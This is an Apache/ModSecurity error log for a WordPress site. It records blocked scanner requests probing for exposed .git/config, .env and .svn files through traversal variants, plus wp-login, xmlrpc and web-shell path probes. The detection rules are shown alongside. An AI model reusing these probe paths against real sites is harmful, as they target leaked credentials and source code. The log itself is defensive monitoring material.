[Mon Nov 24 10:26:23.041895 2025] [:error] [pid 48599:tid 48616] [client 213.21.239.4:37644] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/;/.git/config"] [unique_id "aSPCT5zvu6PDJiRKE3Lg8gAAAY0"]
[Mon Nov 24 10:26:23.049013 2025] [:error] [pid 16516:tid 16541] [client 213.21.239.4:37666] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/.git/%0Aconfig"] [unique_id "aSPCT_qZbniwaNwL8XmtsAAAARY"]
[Mon Nov 24 10:26:23.049905 2025] [:error] [pid 49900:tid 49925] [client 213.21.239.4:37670] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au../.git/config"] [unique_id "aSPCTzCyPLrvg06aormymwAAABc"]
[Mon Nov 24 10:26:23.053147 2025] [:error] [pid 16441:tid 16451] [client 213.21.239.4:37714] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/new/.git/config"] [unique_id "aSPCT4q_bc5MOa9HflmjKAAAAIc"]
[Mon Nov 24 10:26:23.053305 2025] [:error] [pid 16516:tid 16540] [client 213.21.239.4:37718] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/public/.git/config"] [unique_id "aSPCT_qZbniwaNwL8XmtsQAAARU"]
[Mon Nov 24 10:26:23.053936 2025] [:error] [pid 9630:tid 9653] [client 213.21.239.4:37704] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/.git/config;"] [unique_id "aSPCTyrSgUgPGkizt2qCxQAAAFU"]
[Mon Nov 24 10:26:23.055351 2025] [:error] [pid 16441:tid 16464] [client 213.21.239.4:37712] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/prod/.git/config"] [unique_id "aSPCT4q_bc5MOa9HflmjKQAAAJQ"]
[Mon Nov 24 10:26:23.055995 2025] [:error] [pid 16516:tid 16524] [client 213.21.239.4:37724] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/qa/.git/config"] [unique_id "aSPCT_qZbniwaNwL8XmtsgAAAQU"]
[Mon Nov 24 10:26:23.061257 2025] [:error] [pid 16516:tid 16542] [client 213.21.239.4:37726] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/.git/config;.."] [unique_id "aSPCT_qZbniwaNwL8XmtswAAARc"]
[Mon Nov 24 10:26:23.061926 2025] [:error] [pid 16516:tid 16523] [client 213.21.239.4:37682] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/..;/.git/config"] [unique_id "aSPCT_qZbniwaNwL8XmttAAAAQQ"]
[Mon Nov 24 10:26:23.062340 2025] [:error] [pid 16516:tid 16537] [client 213.21.239.4:37690] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/.git/config"] [unique_id "aSPCT_qZbniwaNwL8XmttQAAARI"]
[Mon Nov 24 10:26:23.062721 2025] [core:error] [pid 16441:tid 16468] [client 213.21.239.4:37752] AH10244: invalid URI path (/../config)
[Mon Nov 24 10:26:23.067651 2025] [:error] [pid 16441:tid 16467] [client 213.21.239.4:37736] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/agraphics.com.au/static../.git/config"] [unique_id "aSPCT4q_bc5MOa9HflmjLAAAAJc"]
[Mon Nov 24 10:26:23.069118 2025] [:error] [pid 48599:tid 48618] [client 213.21.239.4:37782] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/%0Aconfig"] [unique_id "aSPCT5zvu6PDJiRKE3Lg8wAAAY8"]
[Mon Nov 24 10:26:23.070131 2025] [:error] [pid 16441:tid 16455] [client 213.21.239.4:37792] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/../.git/config"] [unique_id "aSPCT4q_bc5MOa9HflmjLQAAAIs"]
[Mon Nov 24 10:26:23.071176 2025] [:error] [pid 9630:tid 9651] [client 213.21.239.4:37804] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/..;/.git/config"] [unique_id "aSPCTyrSgUgPGkizt2qCxwAAAFM"]
[Mon Nov 24 10:26:23.088482 2025] [:error] [pid 16516:tid 16543] [client 213.21.239.4:37830] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config;"] [unique_id "aSPCT_qZbniwaNwL8XmttgAAARg"]
[Mon Nov 24 10:26:23.090829 2025] [:error] [pid 9630:tid 9654] [client 213.21.239.4:37814] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSPCTyrSgUgPGkizt2qCyAAAAFY"]
[Mon Nov 24 10:26:23.114073 2025] [:error] [pid 16516:tid 16519] [client 213.21.239.4:37840] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config;.."] [unique_id "aSPCT_qZbniwaNwL8XmttwAAAQA"]
[Mon Nov 24 10:26:26.052044 2025] [:error] [pid 9630:tid 9642] [client 213.21.239.4:37870] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/web/.git/config"] [unique_id "aSPCUirSgUgPGkizt2qCzQAAAEo"]
[Mon Nov 24 10:26:26.052495 2025] [:error] [pid 49900:tid 49916] [client 213.21.239.4:37856] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/uat/.git/config"] [unique_id "aSPCUjCyPLrvg06aormynwAAAA4"]
[Mon Nov 24 10:26:26.053077 2025] [:error] [pid 48599:tid 48604] [client 213.21.239.4:37888] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/.git/config"] [unique_id "aSPCUpzvu6PDJiRKE3Lg9gAAAYE"]
[Mon Nov 24 10:26:26.054835 2025] [:error] [pid 48688:tid 48716] [client 213.21.239.4:37872] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-content/.git/config"] [unique_id "aSPCUhm2q1FkzLam7A1W4AAAAlg"]
[Mon Nov 24 10:26:26.059168 2025] [:error] [pid 9630:tid 9646] [client 213.21.239.4:37848] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/static../.git/config"] [unique_id "aSPCUirSgUgPGkizt2qCzgAAAE4"]
[Mon Nov 24 10:26:26.061077 2025] [:error] [pid 16593:tid 16613] [client 213.21.239.4:37892] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/.git/config"] [unique_id "aSPCUhVGznHBJI2LKpQCkwAAApI"]
[Mon Nov 24 10:26:26.061194 2025] [:error] [pid 49900:tid 49907] [client 213.21.239.4:37904] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/staging/.git/config"] [unique_id "aSPCUjCyPLrvg06aormyoAAAAAU"]
[Mon Nov 24 10:26:26.062973 2025] [:error] [pid 49900:tid 49903] [client 213.21.239.4:37852] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/static../.git/config"] [unique_id "aSPCUjCyPLrvg06aormyoQAAAAE"]
[Mon Nov 24 13:35:08.060870 2025] [:error] [pid 48601:tid 48674] [client 216.26.255.31:53841] [client 216.26.255.31] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "aSPujIMM4MaVTk74-AaIZwAAAhE"]
[Mon Nov 24 13:35:10.175230 2025] [:error] [pid 16549:tid 16558] [client 65.111.14.169:34637] [client 65.111.14.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSPujqeWW19A99PUw_cZgAAAAUY"]
[Mon Nov 24 13:35:11.248164 2025] [:error] [pid 48601:tid 48667] [client 104.167.25.158:53529] [client 104.167.25.158] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.svn/wc.db"] [unique_id "aSPuj4MM4MaVTk74-AaIaQAAAgo"]
[Mon Nov 24 13:36:54.904515 2025] [proxy_fcgi:error] [pid 48601:tid 48668] [client 45.86.200.17:57245] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 13:37:01.318595 2025] [autoindex:error] [pid 9630:tid 9632] [client 45.86.200.30:33889] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 24 13:37:02.325009 2025] [autoindex:error] [pid 9630:tid 9636] [client 45.86.200.30:33889] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 24 13:37:03.946594 2025] [autoindex:error] [pid 9630:tid 9637] [client 45.86.200.30:33889] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 24 21:39:43.475664 2025] [proxy_fcgi:error] [pid 48601:tid 48678] [client 165.232.173.249:62872] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 21:40:00.565333 2025] [proxy_fcgi:error] [pid 16549:tid 16568] [client 165.232.173.249:60446] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Mon Nov 24 21:40:00.958821 2025] [:error] [pid 16549:tid 16564] [client 165.232.173.249:60642] [client 165.232.173.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell20211028.php"] [unique_id "aSRgMKeWW19A99PUw_dnEwAAAUw"], referer: www.google.com
[Mon Nov 24 21:45:37.703075 2025] [:error] [pid 49900:tid 49909] [client 193.32.126.212:53639] [client 193.32.126.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aSRhgTCyPLrvg06aorlJhAAAAAc"]
[Mon Nov 24 21:45:38.196429 2025] [:error] [pid 48688:tid 48716] [client 193.32.126.212:54306] [client 193.32.126.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aSRhghm2q1FkzLam7A3PxAAAAlg"]
[Mon Nov 24 21:45:38.691665 2025] [:error] [pid 48600:tid 48650] [client 193.32.126.212:54851] [client 193.32.126.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aSRhgvtOzSUAQvWVjBeiEgAAAdQ"]
[Mon Nov 24 22:08:00.723694 2025] [:error] [pid 48600:tid 48636] [client 182.188.106.142:61190] [client 182.188.106.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.188.106.142, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aSRmwPtOzSUAQvWVjBellAAAAcY"]
[Mon Nov 24 22:08:00.734664 2025] [proxy_fcgi:error] [pid 48600:tid 48636] [client 182.188.106.142:61190] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 23:13:42.897092 2025] [:error] [pid 16593:tid 16610] [client 193.207.176.232:9438] [client 193.207.176.232] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "agraphics.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aSR2JhVGznHBJI2LKpR5xAAAAo8"], referer: https://www.google.com
[Mon Nov 24 23:13:54.713774 2025] [:error] [pid 16549:tid 16572] [client 193.207.176.232:9351] [client 193.207.176.232] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||agraphics.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aSR2MqeWW19A99PUw_d04gAAAVM"]
[Mon Nov 24 23:13:54.714049 2025] [:error] [pid 16549:tid 16572] [client 193.207.176.232:9351] [client 193.207.176.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.207.176.232, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aSR2MqeWW19A99PUw_d04gAAAVM"]
[Mon Nov 24 23:13:54.725120 2025] [proxy_fcgi:error] [pid 16549:tid 16572] [client 193.207.176.232:9351] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 23:14:03.115379 2025] [:error] [pid 16593:tid 16609] [client 193.207.176.232:9411] [client 193.207.176.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.207.176.232, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aSR2OxVGznHBJI2LKpR5zwAAAo4"], referer: https://www.google.com
[Mon Nov 24 23:14:03.119829 2025] [proxy_fcgi:error] [pid 16593:tid 16609] [client 193.207.176.232:9411] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Mon Nov 24 23:14:06.016882 2025] [:error] [pid 16549:tid 16572] [client 193.207.176.232:9528] [client 193.207.176.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.207.176.232, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aSR2PqeWW19A99PUw_d0-AAAAVM"], referer: https://www.google.com
[Mon Nov 24 23:14:06.021707 2025] [proxy_fcgi:error] [pid 16549:tid 16572] [client 193.207.176.232:9528] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Tue Nov 25 05:14:21.994107 2025] [proxy_fcgi:error] [pid 14078:tid 14146] [client 4.233.92.206:4372] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:14:22.237872 2025] [proxy_fcgi:error] [pid 14078:tid 14152] [client 4.233.92.206:4372] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:14:22.485470 2025] [proxy_fcgi:error] [pid 14078:tid 14137] [client 4.233.92.206:4372] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:14:22.725598 2025] [proxy_fcgi:error] [pid 14078:tid 14156] [client 4.233.92.206:4372] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:14:22.967757 2025] [proxy_fcgi:error] [pid 14078:tid 14141] [client 4.233.92.206:4372] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:14:23.222510 2025] [proxy_fcgi:error] [pid 14078:tid 14158] [client 4.233.92.206:4372] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:14:23.465742 2025] [proxy_fcgi:error] [pid 14078:tid 14148] [client 4.233.92.206:4372] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:14:23.722591 2025] [proxy_fcgi:error] [pid 14078:tid 14154] [client 4.233.92.206:4372] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:14:23.965654 2025] [proxy_fcgi:error] [pid 14078:tid 14160] [client 4.233.92.206:4372] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:14:24.211435 2025] [proxy_fcgi:error] [pid 14078:tid 14138] [client 4.233.92.206:4372] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:14:24.466631 2025] [:error] [pid 14078:tid 14153] [client 4.233.92.206:4372] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v.php"] [unique_id "aSTKsNVXYbb0ii_rVoJIogAAAJA"]
[Tue Nov 25 05:14:25.727761 2025] [:error] [pid 14076:tid 14088] [client 4.233.92.206:4366] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v.php"] [unique_id "aSTKsXsB4Gz6Qw-pvBsJrQAAAAc"]
[Tue Nov 25 05:14:33.288900 2025] [:error] [pid 14168:tid 14179] [client 4.233.92.206:4352] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v.php"] [unique_id "aSTKufR-ZDU0QEgAIItt6AAAAMg"]
[Tue Nov 25 05:14:35.053453 2025] [:error] [pid 14688:tid 14711] [client 4.233.92.206:4376] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v.php"] [unique_id "aSTKu29vYrBoEsiDnizfywAAARU"]
[Tue Nov 25 05:14:36.840008 2025] [:error] [pid 14688:tid 14708] [client 4.233.92.206:4403] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d2.php"] [unique_id "aSTKvG9vYrBoEsiDnizfzgAAARI"]
[Tue Nov 25 05:14:39.536077 2025] [:error] [pid 14077:tid 14127] [client 4.233.92.206:4398] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d2.php"] [unique_id "aSTKvxG9n7UHEkwDTyhObAAAAFE"]
[Tue Nov 25 05:14:40.972252 2025] [:error] [pid 14077:tid 14118] [client 4.233.92.206:4371] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d2.php"] [unique_id "aSTKwBG9n7UHEkwDTyhOcAAAAEg"]
[Tue Nov 25 05:14:44.064475 2025] [:error] [pid 14168:tid 14191] [client 4.233.92.206:4402] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d2.php"] [unique_id "aSTKxPR-ZDU0QEgAIItt8QAAANQ"]
